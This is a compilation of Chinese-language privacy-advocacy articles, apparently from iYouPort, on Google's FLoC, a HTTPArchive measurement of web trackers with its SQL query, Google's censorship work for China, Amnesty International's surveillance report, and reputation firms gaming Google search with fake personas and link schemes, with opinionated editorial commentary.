定位广告的权力就是歧视的权力。根据定义，定位广告允许广告商接触到某些种类的人，而排除其他种类的人。定位系统可以用来决定谁可以看到哪个招聘信息或什么样的贷款报价。

多年来，定位广告的机制一直在被用于剥削、歧视和伤害。基于种族、宗教、性别、年龄、或能力的目标人群被分配歧视性广告在工作、住房和信贷等各个方面。基于信用评分历史记录或与之相关的系统性特征的定位，使得高息贷款的掠夺性广告成为可能。基于人口学、地理位置和政治派别的目标定位，有助于出于政治动机的虚假信息和压制选民的政治操纵者。所有类型的行为定位都会增加明确的诈骗风险。

谷歌、Facebook 和许多其他监视资本家看起来似乎在试图控制其目标平台的某些用途；例如，谷歌限制广告商针对 “敏感兴趣类别” 的人的能力。然而，实际效果并非如其宣称的那样；坚定的跟踪者通常可以找到变通的办法来绕避这些限制。

即使对哪些信息可以被用来针对谁拥有绝对的权力，平台也往往没兴趣防止其技术的滥用。FLoC 将使用一种无监督的算法来创建其集群。这意味着，没有人会直接控制人们如何被分组。理想情况下（仅仅对广告商而言），FLoC将创建具有有意义的行为和共同兴趣的群体。但在线行为与各种敏感特征相关 —— 性别、种族、年龄和收入等人口学数据；“五大” 人格特征；甚至心理健康数据。FLoC 很有可能也会根据这些轴线对用户进行分组。FLoC的分组也将直接反映出用户访问了与药物滥用、经济困难、或创伤幸存者有关的网站的访问情况。

谷歌提出，它可以监督系统的输出，检查是否与敏感类别有任何关联。如果发现某个群组分类与某个受保护群体的关系过于密切，管理服务器可以为算法选择新的参数，并告诉用户的浏览器重新分组。

这个解决方案听起来既是奥威尔式的，又是西西弗斯式的—— 假设谷歌没撒谎，那将意味着为了监控FLoC群组与敏感类别的相关性，谷歌需要使用用户身份的种族、性别、宗教、年龄、健康和财务状况等数据进行大规模审计；每当它发现一个群体与这些轴线中的任何一个轴线相关性太强时，它将不得不重新配置整个算法并再次尝试，希望新版本中没有其他群组受到 “敏感类别” 的牵连。这是它需要解决的问题的一个更困难的版本，而且经常失败。

在一个有FLoC的世界里，根据年龄、性别或收入水平直接锁定用户可能会更加困难。但这并不是不可能的。掌握用户辅助信息的追踪者将能够通过观察和实验了解FLoC分组的 ”含义”—— 即 它们包含什么样的人。那些有决心这样做的人仍将能够进行具体的辨别。此外，这种行为对于平台来说将比现在更难监管。任何有不良意图的广告商都将有合理的否认能力—— 毕竟，他们 “并没有” 直接针对受保护的类

别，他们只是根据行为来监视人们。而整个系统对于用户和监管者来说，将更加不透明。

要阻止谷歌这样做

「图」

在FLoC和其他最初的一批提案刚推出时，EFF已经指出FLoC是“保护隐私技术的反面教材”。希望这些解释能够揭示FLoC的基本缺陷，使谷歌重新考虑推动它的发展。然而，谷歌仍在继续开发该系统，基本面几乎没有变化。它已经开始向广告商推销FLoC，吹嘘FLoC可以“95%有效”地替代基于cookie的目标定位。而从3月2日发布的Chrome 89 开始，它正在部署这项技术进行试运行。一小部分Chrome 用户—— 很可能是数百万人—— 将被分配（或已经被分配）测试该新技术。

毫无疑问，如果谷歌真的在Chrome浏览器中实施FLoC的计划，它有可能会让从中受益的广告商选择加入，而让受到伤害的用户选择退出。谷歌肯定会宣传这是“透明度和用户控制”的一步，这是谎言，因为它清楚地知道，绝大多数用户不会理解**FLoC**的工作原理，也很少有人会去关闭它。不知情的人还以为自己摆脱了邪恶的第三方**cookie**—— 他们不知道，事实上谷歌是帮助延长了监视资本主义的保质期，并在此过程中赚取了数十亿美元。

EFF说：我们强调拒绝FLoC。这不是我们想要的世界，也不是用户应得的世界。谷歌需要从第三方追踪时代吸取正确的教训，并设计其浏览器为用户而不是为广告商工作。〇

Google’s FLoC Is a Terrible Idea

原文

到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首 - iYouPort

关于谷歌-监视资本主义的创始人

最近的文章显示，嵌入在许多网站上的追踪器增加了 Facebook，Google（和其他公司）可用来了解我们的信息 – 即使你根本没有登录（甚至你可以完全没有账户！）也同样可被它们窥视。我开始考虑有多少个不同的网站可能会跟踪我在网络上的浏览。

我们如何知道公司跟踪我们的地点和数量？

「图」

「图」

有多少网站使用 Facebook 跟踪 API？ Twitter 的 API？亚马逊？公司/追踪者的数量可能是无穷无尽的，但本文只关注一小部分 – Facebook，Google，Twitter，LinkedIn 和亚马逊。用 url，HTTPArchive 可以做到。

方法是这样的。在“Facebook隐私”上进行 Google 搜索，选择了前 6 篇文章：

https://www.chronicle.com/blogs/profhacker/firefox-add-on-protects-against-most-facebook-tracking/65281

https://www.thequint.com/tech-and-auto/tech-news/prevent-facebook-data-access-with-this-firefox-web-extension

http://www.thedailystar.net/world/limiting-facebooks-data-brokers-wont-stop-tracking-1555630

https://globalnews.ca/news/4110311/how-to-stop-targeted-ads-facebook-google-browser/

https://www.cbsnews.com/news/how-facebook-was-able-to-collect-

android-phone-and-text-logs/

https://www.makeuseof.com/tag/facebook-tracking-stop/

然后，使用 **Ghostery**（Chrome 浏览器插件，即 ID 跟踪器/广告等）来识别这些页面上的跟踪器。例如这里有两个 Facebook 追踪器：

「图」

「图」

「图」

「图」

现在，我标记的某些网址可能无害，并且无法通过网络跟踪用户。我没有深入了解每个 API 或他们收集的数据，我为 Facebook 建立了以下查询：

SELECT pages.rank, pages.url, requests.url, ext FROM httparchive.runs.latest_requests_mobile requests JOIN (SELECT rank, pageid, url FROM httparchive.runs.latest_pages_mobile) pages ON pages.pageid = requests.pageid WHERE (requests.url CONTAINS “facebook.com/tr”|| requests.url CONTAINS “graph.facebook.com”|| requests.url CONTAINS “facebook.com/impression” || requests.url CONTAINS “facebook.com/connect”|| requests.url CONTAINS “connect.facebook.net”|| requests.url CONTAINS “connect.facebook.com”|| requests.url CONTAINS “facebook.com/brandlift”) ORDER BY rank ASC

所以，Facebook 跟踪了你多少？

我在数据库中发现了超过 147.5k 站点的 805k Facebook 追踪请求。这意味着平均每页**5**个 **Facebook** 追踪者，约占整个互联网的 **33**%。

有趣的是，按排名显示，排名前100位的网站使用远远低于 Facebook 的追踪数据（11%）– 可能是因为 Facebook 的许多竞争对手都位列前100名。

「图」

「图」

「图」

「图」

Twitter 在这方面怎么样？ 在检查的6页中，我找到了2个跟踪网址：

requests.url CONTAINS “syndication.twitter.com/i/jot”

requests.url CONTAINS “platform.twitter.com/widgets.js”

此查询结果意味着 **39.7k** 个站点发生 **117.5k** 个跟踪请求。

亚马逊怎么样？

amazon-adsystem.com/widgets

2.4k 的网站上有 **6k** 个跟踪实例。

LinkedIn

requests.url CONTAINS “px.ads.linkedin.com/collect”

requests.url CONTAINS “snap.licdn.com/li.lms-analytics”

跨越 **7.6k** 个站点有 **22.5k** 个跟踪实例

Google

在我有限的网站样本中，**Google** 拥有最多的被指定为追踪者的网址。实际上有多大？举个例子吧 – 如果我尝试一次全部运行它们，BigQuery 会遇到内存问题。我只能将这些分解成更小的查询并获得完整的图像：

Google Analytics

requests.url CONTAINS “https://www.google-analytics.com/collect”

requests.url CONTAINS “https://ssl.google-analytics.com”

176k results across 103.7k sites (23% of all sites in the dataset)

Google Ads （不是 DoubleClick)

requests.url CONTAINS “https://www.googletagservices.com/tag/js”

requests.url CONTAINS “https://www.google-analytics.com/collect”

requests.url CONTAINS “https://ssl.google-analytics.com”||

requests.url CONTAINS “pagead2.googlesyndication.com/pagead”

requests.url CONTAINS “www.googleadservices.com/pagead/”

requests.url CONTAINS “imasdk.googleapis.com/js/sdkloader”

600k entries across 202k sites (44% of all sites tested have one of these urls)

Google Ads – DoubleClick

requests.url CONTAINS “stats.g.doubleclick.net/r/collect”

requests.url CONTAINS “securepubads.g.doubleclick.net/gpt/”

requests.url CONTAINS “googleads.g.doubleclick.net”

1.02M entries across 250k sites (54% of all sites tested have one of these urls)

将这些条目加起来可以提供 1.79M 的 Google 追踪者。如果我只为网页网址运行查询，则可以成功运行，并且这些跟踪链接会显示在 **268k** 个网站上（占所有网站的 **58%**）。

汇总

综合所有这些结果可以在 HTTPArchive 找到所有追踪者的总和：

「图」

「图」

「图」

「图」

HTTPArchive 中 64% 的站点至少使用了上面指定的 22 个URL中的一个。正如您大概能猜的那样，大多数网站都使用这些追踪器中的一个以上：

「图」

「图」

（最大值为290，但为了保持y轴比例合理，我将其删除了

结论

所有的跟踪都是不同的。每一次点击和页面访问都会随附发送不同级别的个人信息，它们单独看起来似乎没什么，但是一旦汇总起来，即刻能把你完全扒光。

来自 Ghostery 和6 个新闻文章的跟踪数量非常有限。然而在网络的一个大横截面上发现使用了许多跟踪器：所有站点中有 64% 的站点至少有一个跟踪器存在，并且跟踪器的中间站点利用了上述 22 个 URL 中的 7 个。〇

原文

前 Google 工程师: “管理层不仅乐于协助中国的审查，并且对外撒谎” - iYouPort

关于谷歌-监视资本主义的创始人

本文的作者 Vijay Boyapati 是谷歌前工程师。2006 年他在 GoogleNews 项目工作时就收到了写代码审查中国新闻的要求。他通过本文揭露了谷歌一直在与中国当局合作的事实

现在所有人都知道，谷歌正在开发一种代号为“Dragonfly”的新搜索引擎，这将有助于中国当局审查其公民的信息。

作为一名前谷歌工程师，我想分享一些关于谷歌在做出这些决定时的内部信息。

「图」

「图」

我之前分享过，2006 年，我是一名工作于谷歌新闻项目的工程师，并被要求编写代码以审查在中国出现的内容。

我发现 2006 年的一些电子邮件更能说明中国政府的审查要求。

「图」

「图」

「图」

「图」

我提交的电子邮件来自谷歌的邮件列表，员工们讨论了政治和经济方面的主题。我已经格式化了电子邮件以便于阅读，并且编辑了我正在讨论的同事的名字。主题是 2008 年在中国举办的奥运会。

「图」

「图」

在我重新发现这些电子邮件之前我已经忘记的一个引人注目的事实是：中国当局要求谷歌广泛审查信息（整个新闻部分都要审查）并且要求反应非常迅速（谷歌被需要在15分钟内遵守删除的请求）。

同样的审查要求很可能适用于谷歌目前正在开展的 Dragonfly 项目，鉴于谷歌一直愿意遵守中国政府的要求，这些要求可能变得更加严格。

经过这么多年，我觉得更令人不安的另一件事是，我以前的同事们不仅愿意遵守审查制度，而且还拥有遵守审查制度的热情。他们给出的理由与谷歌管理层给出的理由完全相同并非巧合。

正如法国哲学家布莱斯帕斯卡在 Pensées 中观察到的那样，权力造就了意見 —— 这在公司内部和国家政治中都是如此。一方面对于生产线有很多好处，另方面就是一旦拒绝会产生明显的危害，例如，被解雇的风险。

我的同事，虽然他们可能是出于好意，但他们只是反驳了谷歌管理层首次涉足中国的原因。

与现在一样，真正的问题是管理层似乎没有道德指南针。

对于许多人来说，法律和道德之间几乎没有区别。当掌权者掌握这种心态时，这种心态尤其危险，例如谷歌的高管，他们的心态就是：如果审查是法律要求，那么我们就应该这样做。（编者：不，这纯粹是狡辩的借口。我们信仰的是，当法律不能维护正义，反抗就是义务）

对于寻求大型利润的公司高管而言，“遵守法律”的愿望变得更加迫切，因为这使他们能够进入大规模且利润丰厚的市场。没有强大的道德指南针，对大多数人而言，利益的诱惑力太大了。

正如我之前在推文中所写的那样，谢尔盖·布林是这个诱惑的“明显例外”，新闻报道说，他是 2010 年谷歌离开中国的原因：

「图」

「图」

不幸的是，布林对谷歌决策的影响已经非常微弱，新的管理层似乎不仅愿意在审查中同谋，而且还要谎报他们正在做的事：

「图」

「图」

我鼓励那些被要求从事审查产品工作的谷歌员工坚决反对这些要求，正如我在 2006 年所做的那样，并且让人们知道谷歌的审查意愿是不道德的。

编者按：感谢 Boyapati 说出了一些真相。和很多人一样，Boyapati 更愿意认为“谷歌曾经是好的”，我们非常理解这一心情，至少它能证明作为前员工，Boyapati 等如今的谷歌反对者曾经的工作和职业选择是正义的和正确的。但很可惜，诸多资料和文档都显示，谷歌从来就是情报部门的监视机器。监视和审查，不论对美国公民还是对世界上任何一个国家的公民实施，其性质没有任何区别。详见下面几篇文章中列出的线索：

- 《谷歌为什么要对外撒谎？为什么在内外合力反对的情况下依旧继续审查项目？》
- 《为什么说审查版搜索引擎根本不是重点只是一块跳板，那么谷歌真正想要的是什么？》
- 《谷歌为什么要这么做？》（后半部分）

作为监视资本主义最具代表性的巨头，这就是该公司的基本盈利模式：我们只是谷歌的产品，谷歌的所有服务都是在挖掘你我的数据，而数据需求者才是该公司真正的客户。满足政府的数据需求不仅能令谷歌进入一个利益丰厚市场，而且能在权力的庇护之下得到顺利的发展。中国的 BAT 持有同样的心态，他们与中国政府的合作并非仅仅源于畏惧。

而认知失调需要他们劝服自己“这是合理的”，就如最经典的辩词：“我们只是在遵守法律的要求”。当谷歌将用户的数据交给执法部门时，他们会这样劝服自己以令自己安心。此类案例早已无法尽数，Snowden 最信任的记者之一、“第四公民”导演 Laura Poitras 就是由于使用谷歌搜索关键字，而被情报部门抓住的。她长期受到监视和骚扰，被拦截搜查、资料被强行删除，而这些遭遇是所有异议人士、活动家和调查记者所共同面对的。

“曾经是美好的“这种心态我们所有人都有，尤其是对当下不满的时

候，这种心态更加强烈。但 Boyapati 应该知道，Sundar Pichai 是 在 2015 年8月10日出任 Google 公司董事长及首席执行官 的，至少，在 Boyapati 描述的谷歌在 2008 年北京奥运会前对中国当局提出的新闻审查要求的服从这件事发生时，Pichai 还不是 CEO。

不论怎样，Vijay Boyapati 的确为我们提供了有效的知识补充，衷心希望有更多 Boyapati 这样的内部知情人士能站出来说出真相。抵制危害互联网自由的一切行为不仅需要外部的努力，也同样需要勇敢的内部人士为正义发声。

原文

国际特赦组织称Google和Facebook为侵犯人权者 - iYouPort

关于谷歌-监视资本主义的创始人

我们不甚同意这份报告最终的观点 —— 即 寻求政府的监管。但必须感激，因为终于有一家国际知名的人权组织愿意承认隐私权是基本人权了 —— 尤其是，承认监视资本主义正在毁掉民主

「图」

「图」

大赦国际说，Facebook和谷歌实施的 “无处不在的监视” 对人权构成威胁，两家公司对此表示争议。

在英国，以记录酷刑和种族清洗恶行而闻名的该倡导组织发布了一份报告，让这两个依赖于收集个人数据维生的监视资本主义巨头为其商业模式承担责任。

大赦国际秘书长 Kumi Naidoo 在一份声明中说：“谷歌和 Facebook 统治着我们的现代生活 —— 通过收集和货币化数十亿人的个人数据来积累对数字世界至高无上的权力。”

“他们[这些寡头公司]对我们数字生活的阴险控制破坏了隐私权的本质，并且是当今时代人权面临的决定性挑战之一。”

- 《谷歌的真面目—— They’re always watching》
- 《新纪录片揭示 Facebook 和谷歌的真面目》
- 以及《"整个互联网的真面目"》
- 《到底有多少跟踪器在盗窃你的隐私？谷歌以其惊人的跟踪量位居榜首》

该组织的报告题为：“监视巨人：**Google** 和 **Facebook** 的商业模式如何威胁人权”，探索了监视资本主义公司如何开展业务、如何影响隐

私并影响社会，其市场力量如何限制民主问责制、以及可以做些什么来改变这一状况。

您可以在这里下载这份报告：https://t.me/iyouport/6553

报告说："谷歌和 Facebook 两家公司基于监视的商业模式迫使人们进行浮士德式的交易，人们只能依顺于这个侵犯人权的系统才能享受在线生活。"

"首先，对隐私权的侵犯达到了前所未有的规模，其后一系列的连锁效应，对从表达和见解到思想和不受歧视的权利，均构成了严重威胁。"

然而，言论自由在不受监督的情况下可能会造成问题，正如 Facebook 因未能在缅甸禁止仇恨言论其结果所证明的那样。

该报告承认，其他大公司也参与了"监视资本主义"，尤其是亚马逊和微软，以及各种数据经纪人和电信公司。

但是，Facebook 和 Google 由于强大的垄断优势而在特定市场上独树一帜。

根据报告中引用的第三方统计数据，不包括中国（中国是高堡奇人的另一部分），Facebook 拥有全球约70%的社交媒体用户和75%的移动消息用户（由于 WhatsApp）；Google 垄断了全球90%的互联网搜索，还拥有 YouTube—第二大搜索服务和领先的视频平台，并通过 Chrome 统治了浏览器市场，还掌握着最大的移动操作系统 Android（每月活跃设备约25亿）。

两家公司之间的收入占在线广告收入的60%，占数字广告市场增长的90%。

两家公司一直在努力通过与数据相关的项目来扩展其产品（例如 Facebook 的 Libra 和 Google 对 Fitbit 等健康统计数据的兴趣），更不用说其提供与Google Pay 相关的支票账户计划了。

- 《杀死天秤座在萌芽状态》
- 《Google买下了Fitbit，这对您的数据隐私意味着什么？》

该报告援引了 Facebook 和 Google 涉入的各种隐私丑闻，例如剑桥分析公司、Google 的地理位置跟踪（即使在禁用时也一直存在）以及 YouTube 算法鼓励的虚假和煽动性评论。在下面看到具体介绍和

分析：

- 关于剑桥分析公司《心理操纵的秘密：”行为经济学”＋PR＝？》
- 关于谷歌《即使关闭“位置历史记录”设置，谷歌仍然可以记录你的位置，还可以怎么办？》

报告还讨论了由行为广告定位引起的一些具体危害（例如歧视）。

国际特赦组织的结论是，有必要进一步加强以人权为重点的政府监管。

“政府必须采取积极步骤，以减少基于监视的商业模式的危害 —— 采取数字公共政策，其核心目标应该是普遍获得和享有人权，以减少或消除监视，并制定法规改革，包括结构性改革，这样才有希望恢复人们对互联网的信心和信任。”

Facebook 发言人在通过电子邮件发送给 The Register 的一份声明中说，该公司从根本上不同意大赦国际组织的调查结果。

当被要求发表评论时，谷歌没有直接回复报告。相反，它承认数据很重要，并指出该公司 “一直在改善可用于处理数据的机制”。

如果您对大赦国际组织的报告有任何疑问，可以在IYP的专栏中看到足够多的证据：

- “关于谷歌和亚马逊”
- “关于 Facebook”

大赦国际的报告并不够全面，而且其结论我们也不够同意 —— 即 寻求政府的监管。因为在我们看来，政府是监视资本主义的最大"受益人之一"，寻求政府监管很难符合公民的实际利益。

民主需要公民自己的互联网，把基础实施掌握在自己手里，《把你的隐私控制权交给任何人都等于剥夺隐私》。

Amnesty slams Facebook, Google over ‘pervasive surveillance’ business model

原文

如何操纵谷歌搜索结果以消除"负面内容"？ - iYouPort

关于谷歌-监视资本主义的创始人

答案是：只要你出价合适

「图」

「图」

中国的“百度-魏则西”事件发生时，很多人由此了解到了什么是搜索引擎竞价排名。但这还远远不够，不够 ……因为搜索结果排名操纵本身是一项蓬勃发展的生意。

去年，Adrian Rubin 被判处三年徒刑，因为近1000万美元的发薪日贷款骗局，还有帮助他儿子经营非法的电话营销业务。他的儿子们也被判处大约三年徒刑。

来自费城地区的 Rubin 父亲和两个儿子现在都在监狱里；但是，在互联网上，他们的名字却非常“优秀”。

去年秋天，一位名叫 Adrian Rubin 的同名博士（女性）宣布推出了一个新的网站，以分享气候变化研究，并号召那些打击伪科学和气候变化否认的人们聚集起来。

Rubin 博士自称她是一位有着30年经验的气候学家，目前住在费城。

她的“自我介绍”页面使用了两个不同的女性照片，分别是：“面带微笑戴着眼镜的有吸引力的高级女商人”和“享受户外活动的女性徒步旅行者”。

几乎在同一时间，又有两外三个虚假的 Adrian Rubins 在网上宣传自己的存在，通过个人网站、访客帖子和社交媒体帐户。

这些 **“Rubin”** 角色发布新闻稿，在网站上发布访谈，向高中和大学

生提供助学金和奖学金，并维护主要社交网络的个人资料…… 看起来特别忙。

其实这一切都是由至少一家在所谓的线声誉管理和**SEO**公司精心制作的数字烟幕弹的一部分，该公司被雇佣来从互联网表面擦除 Rubin 的犯罪历史。

视频：

"机器人"、"深度造假"、和其他形式的"媒体操纵"，继续引起全球关注这些技术侵蚀信任和在社会中捏造虚假叙事的能力。

但是，对搜索结果的协调性操纵 —— 数十亿人每天每秒都在访问信息的方法 —— 并没有引起同样程度的关注。

尽管操纵搜索结果是一种互联网早期就出现的且具有强大能力的平台滥用形式，并且，搜索操纵活动通常依赖于利用 Facebook、Twitter、亚马逊、LinkedIn 和无数其他寡头公司服务作为其战略的一部分。

（谷歌自己的算法对结果的操纵都无人问津：

- 《看不见的独裁》
- 《硅谷巨头如何利用算法操纵墨西哥选举？》
- 《媒体巨头和硅谷的武器化算法沉默异议》

仅举几例）

这种操纵的便利引发了全球“声誉管理”行业的蓬勃发展，那些公司被雇佣来掩盖过去的逮捕记录、糟糕的客户评论、欺诈性的指控、以及其他丢脸的在线内容。

这些活动正在污染在线信息生态系统。除了增加虚假社交媒体账户的流行外，它们还会用虚假信息污染合法网站。

BuzzFeed News 的调查发现，⚠高管、医生、罪犯、甚至俄罗斯寡头，都从搜索引擎操纵活动中受益，以抑制他们认为的负面内容。

在一个例子中，来自英国的著名诈骗犯 **Ian Leaf** 的搜索结果声称自己是“防欺诈专家”。这是一种确保在人们搜索有关他的名字及其罪行的信息时出现积极内容的公关策略。

可疑的 Ian Leaf 角色甚至还在亚马逊上自行出书，以提高他们的可信度和搜索结果排名。

千万别买这书！这是假的。

「图」

「图」

至于声誉行业（说白了就是洗地行业），与 BuzzFeed News 交谈的从业者将其描述为一个“百无禁忌”的领域，几乎没有任何明确的行业标准或道德准则。

具有讽刺意味的是，该行业也受到其自身感知问题的困扰。

“这是个捞一票就跑的行业，因为，成为一个声誉管理专业人士你需要什么？仅仅一个网站就够了”，声誉公司 DiamondLinks 和 AfterHim Media 的所有者 Brandon Hopkins 说。

Hopkins 已经营业超过10年。 BuzzFeed News 收集的信息显示，他与 Rubin 和 Ian Leaf / Andrews 等虚假在线角色的创作和/或维护都有关。

Hopkins不会在电话采访中承认参与了哪些特定活动，并且没有回复几封详细的后续电子邮件。

与那些罪犯及其他希望抑制负面搜索结果的人一样，甚至信誉良好的品牌和广告代理商也试图不道德地玩弄搜索系统。

上个月，户外生活方式品牌 North Face 及其代理商 Leo Burnett Tailor Made 吹嘘其成功“黑入了”维基百科条目，以其产品展示图像取代顶级 Google Image 搜索结果。 North Face 后来道了歉。

谷歌表示它“投入了大量资金以打击搜索引擎操纵”。

但 BuzzFeed News 的报道显示，⚠只要你愿意花钱来实现这一目标，就可以将你想要的任何名称、公司和其他特定的搜索结果推到Google搜索的首页。

这意味着，当 Rubins 一家在2021年从监狱释放时，他们的犯罪行为很可能会从顶级搜索结果中被排除；相反，置顶的是充满爱心和正义感的 Adrian Rubin 博士，为您服务。

「图」

「图」

众所周知，你的名声是其他人对你的评价，而不是你对自己的看法。

而在线状态下，名声主要取决于人们在将个人或公司的名称输入Google等搜索引擎时第一眼所看到的结果。

虽然您可以仔细策划自己的社交媒体资料，但是您的 Google 足迹仍然可以提供一种生动的外观，完整的瑕疵，从破产到逮捕，再到各种骂名。

中国当局的水军在5年前就使用过这种这种方法，以此抹黑他们不喜欢的异议人士，见《网络“水军”的布局》。

虽然不可能通过互联网全面控制人们对你的评价，但是，由于有这么一群由公关顾问和专业垃圾邮件发送者组成的“行业”，你可以花钱在谷歌这个非常重要的第一页上控制信息。

声誉管理（洗地）行业的发展突出了人们在数字世界中控制个人数据和信息的愿望之间出现的紧张关系，以及平台需要防止抑制或删除信息的企图，只因为那些信息造成不便或不讨人喜欢。

Andy Beal 是一本关于搜索引擎优化和在线声誉管理的书籍的作者，他告诉 BuzzFeed 新闻，大多数声誉管理项目都涉及“利用搜索引擎优化来尝试将负面页面推出谷歌[搜索结果]”。

为了实现这一目标，Beal 表示他致力于“为客户创建高质量的、积极的内容，以反映他们的身份”。他说，目标是为客户提供他们合理赚取的声誉。

“你的声誉反映了你的品格。因此，如果你想要在谷歌中获得积极的东西，那些积极的东西必须是合法的，是真实的 —— 它们需要能成为你正在做的伟大事业的延伸，“他说。

但是，为客户提供积极内容的方法也很可能被滥用，以掩盖声誉危机中某人的负面搜索结果。

BuzzFeed News 此前透露了一个由**10**个网站和数个虚假的 **Twitter** 账户组成的在线宣传网络，这些网站显然是用于提高俄罗斯亿万富翁 Suleyman Kerimov 在法国被捕后的在线声誉。

这些网站和 **Twitter** 帐户用于填充网络和社交媒体，令搜索结果充满关于亿万富翁的讨人喜欢的内容，以便抑制法律问题。

“在合法的声誉清理活动中，你应该专注于恢复声誉，而不仅仅是用假的、积极的内容去粉饰互联网，” Beal 说。

亿万富翁 Kerimov 的个人基金会否认当时在竞选中扮演任何角色，并表示亿万富翁并不拥有这些网站。

去年，法院撤销了针对 Kerimov 的洗钱指控，但该案在3月份被检察官重新审理。Kerimov 否认指控并在法庭上据理力争。

他的例子强调了合法的声誉活动与跨越不道德或操纵领域的活动之间的界限有多么的模糊。

例如，顾问通常会使用阴暗的快捷方式来改善客户的搜索结果，例如从所谓的链接网络购买有关客户的文章或链接。唯一目的是建立域权限和 PageRank，这是网站搜索排名的两个衡量标准。这些网络的运营商会将其网站上的链接卖给愿意支付的任何人。

“我有一个链接网络，我和一些同事还拥有大概50多个我们自己的网站，还有500多个我们可以访问的网站，”一位声誉顾问告诉 BuzzFeed News。（他要求匿名，这样他就可以畅所欲言，不会导致他的网站被谷歌拒之门外）

精明的玩家也会获得一度具有高搜索排名的热门域名，然后开始向任何想要加入该网站的人销售链接。

例如，Frisky 曾经是女性观点的评论和报道的热门网站。现在该域名由一名塞尔维亚音乐制作人/营销人员所有，他以130美元的价格出售帖子。

该网站的广告突出了其对潜在客户的高域权限评分，尽管在 BuzzFeed 新闻询问后，Frisky 被谷歌降低了评级。

谷歌声称禁止代理商为客户购买链接。但是，仍有一个"蓬勃发展的开放市场"，用于买卖链接。

您甚至还可以"花钱雇人点击特定网址"，以提升首选搜索结果排名，并掩盖不讨喜的内容。（谷歌拒绝对此评论）

「图」

「图」

对高质量反向链接的渴望也导致了SEO奖学金的兴起。

多年来，所谓的声誉顾问一直建议客户以他们的名义提供奖学金，通常是相对较小的金额，如500美元或1,000美元。目标只是从具有权威.edu域名的合法学院网站获得令人垂涎的反向链接。

据 BuzzFeed News 采访的专家称，在某些情况下，这些奖学金的创建者并无意支付。

拥有 YourMesotheliomaLawFirm.com 的律师事务所 Shrader & Associates 的发言人告诉 BuzzFeed News，它创建了一个奖学金，“让学生思考他们的未来，并说出他们打算如何为他们的社区带来好处。我们还要求作者们熟悉石棉和间皮瘤的历史。”

该公司表示，它在提供的三年内两次支付了奖学金，后来因“申请人数减少”而停止了奖学金。它拒绝透露是否通过与声誉管理或SEO顾问合作创建了该奖学金。

SEO公司HOTH还提供“HOTH SEO奖学金”。

要赢得1,000美元的奖金，学生必须写一篇关于数字营销的文章，公开发布，并至少包含一个返回 thehoth.com 的链接。

HOTH今年颁发了奖项，但目前尚不清楚自2016年宣布以来是否每年都会颁发奖项。该公司没有回复多个评论请求。

在与HOTH相同的大学页面上列出的另外两个奖学金是 Andrew 和 Irina Dorko 的名字。这些是具有在线角色的真实人物。他们似乎试图掩盖他们在**2015**年因持有可卡因而"被捕"的记录。

对两者的指控后来被驳回。但在他们被捕后，这对夫妇突然推出了新的社交媒体账户和个人网站，这些网站使用素材图作为他们的个人资料照片。

两个人都没有回复评论请求，处理该案件的佛罗里达州律师证实，这些指控被驳回，但拒绝其他评论。

Adrian、Chase 和 Blake Rubin 的这些假人物角色也提供奖学金，他们成功地确保了来自真实学府的提及和珍贵的反向链接。

华盛顿州立大学和缅因大学在其网站的财政援助部分列出了 Chase Rubin 奖学金。华盛顿州立大学在 BuzzFeed News 联系后删除了 Chase Rubin 奖学金的清单。缅因大学则根本没有回应评论请求。

「图」

「图」

Chase Rubin 的名字被三个看似虚假的在线角色所使用：摄影师、房地产开发商、和私人金融家。

他的兄弟 Blake Rubin 现在的在线角色是一位假的女性旅行摄影师、网络开发人员/技术工作者、和房地产开发商。所有假人都声称自己住在费城。

这些角色都使用在线素材图片作为他们的个人资料照片，在某些情况下，不同的人物角色之间甚至相互链接。

在一个案例中，“房地产开发商” Blake Rubin 的 Facebook 个人资料居然链接到了“科技工作者” Blake Rubin 的网站 ……哎呀。

他们的父亲 Adrian Rubin 也有多个在线人物角色。其中一个角色是自由创意总监，“他”的网站描述他 “花了30多年的时间在博爱城工作（费拉德尔菲亚市的昵称）”。

他最近在由著名报纸“费城周刊”（Philadelphia Weekly）发表的一篇赞助内容中（就是软文）为自由职业者提供健康提示。

在“他”的网站上他使用了一个白人的素材图像照片；而在 **Twitter** 上，该角色使用的是亚洲人的素材头像；标注的身份分别为费城科技工作者 Adrian Rubin 和费城房地产开发商 Adrian Rubin……（发送给 Adrian Rubin 及其律师的电子邮件未收到回复。）

「图」

「图」

然后是 Ian Leaf / Andrews。 2005年，他因从英国纳税人手中骗取了超过5000万美元的资金而被判犯有13项欺诈罪。

在被引渡到英国之前，Leaf 住在瑞士的一座豪宅里，拥有两架私人飞机，并与他的第三任妻子一位前瑞典小姐结婚。

媒体密切关注他的案子，导致大量关于他的奢侈生活方式的报道出现，以及他之前从意大利步行穿越阿尔卑斯山返回瑞士逃离引渡到英国的事实。

据“每日镜报”报道，他用他的私人飞机将他的孩子送到学校，他的妻子乘坐飞机从日内瓦到伦敦只为了做头发。所有这些钱都是骗来的。

在服刑后，Leaf 在2013年公开报道中声称，他已将自己的名字改为 Ian Andrews，并仍然参与他的一家前公司 Home Funding Corporation（HFC）。

早在**2015**年，使用他的两个名字的在线角色就开始在网站上发布内容，例如ianleafreviews.com，ianandrewsfraudster.com 和 ianleaf.com。

账户设置在 Medium、Twitter 和 LinkedIn 上。

在线的 Ian Leaf 角色将自己称为“欺诈观察者”（Fraud Watcher），自称是一名致力于 “防止每个行业的企业成为欺骗行为牺牲品”的顾问。

该角色甚至还在亚马逊上进行了采访并出版了书籍，有时将 Ian Andrews 列为合著者。

……

上述任何一种做法违反了职业道德规范吗？并没有。因为，正如与 BuzzFeed News 交谈的声誉管理顾问所言，这是一个没有规则或商定标准的行业。道德纯粹是个人意见的问题。

搜索引擎优化专家 Beal 称，假冒人物角色和奖学金等策略从未支付过行业中出现的“黑帽、不道德技术”的例子。

Link Builders 的 Cuttonaro 承认为至少一位客户创造了在线角色，但表示这是由于“特殊情况”。

“特殊”指的是，该客户表示他们正面临与过去涉及为美国政府工作相关的死亡威胁。 Cuttonaro 被要求制定一个策略，以他们的名字混淆搜索结果。

（一位不愿透露姓名的联邦调查局特工告诉 BuzzFeed News，有关人员面临可信的持续威胁。因此他们需要在报道中匿名）

虽然 Cuttonaro 说这种情况是一个例外并且与国家安全有关，但是，他还利用其中一个为假人物角色创建的网站为其他客户放置文章，并推广男性性功能增强补品。他的公司还为假人形成了奖学金，并成功将其添加到大学网站。

